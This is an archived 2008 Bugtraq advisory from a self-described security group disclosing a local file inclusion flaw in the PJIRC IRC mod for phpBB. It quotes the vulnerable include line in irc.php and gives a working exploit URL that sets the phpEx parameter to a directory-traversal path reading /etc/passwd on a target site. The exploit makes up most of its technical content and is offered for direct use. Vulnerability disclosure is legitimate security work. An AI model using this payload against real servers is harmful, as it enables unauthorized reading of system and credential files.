

phpBB PJIRC mod LFI

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-03/msg00334.html>

- *From:* 0in.email@xxxxxxxxxx
 - *Date:* 25 Mar 2008 20:19:56 -0000
-

/*

PJIRC mod phpBB Local File Include

Discovered by: 0in from DaRk-CodeRs Programming & Security Group!

Contact: 0in(dot)email[at]gmail(dot)com

Description: This is a simply irc applet to phpbb.

Download: <http://www.hotscripts.pl/produkt-1998.html>

[HTTP://Dark-Coders.4rh.eu](http://Dark-Coders.4rh.eu)

Greetz to: All DaRk-CodeRs Team Members: die_anglel, m4r1usz, sun8hclf, djlinux, aristo89

*/

\$phpEx not defined ;(

Vuln line:

`./irc.php:31 include($php_root_path. 'common.' . $phpEx);`

Exploit:

[http://target.com/\[path\]/irc.php?phpEx=\[LFI\]](http://target.com/[path]/irc.php?phpEx=[LFI])

Ex.

<http://target.com/forum/irc/irc.php?phpEx=../../../../../../../../etc/passwd>

//EoFF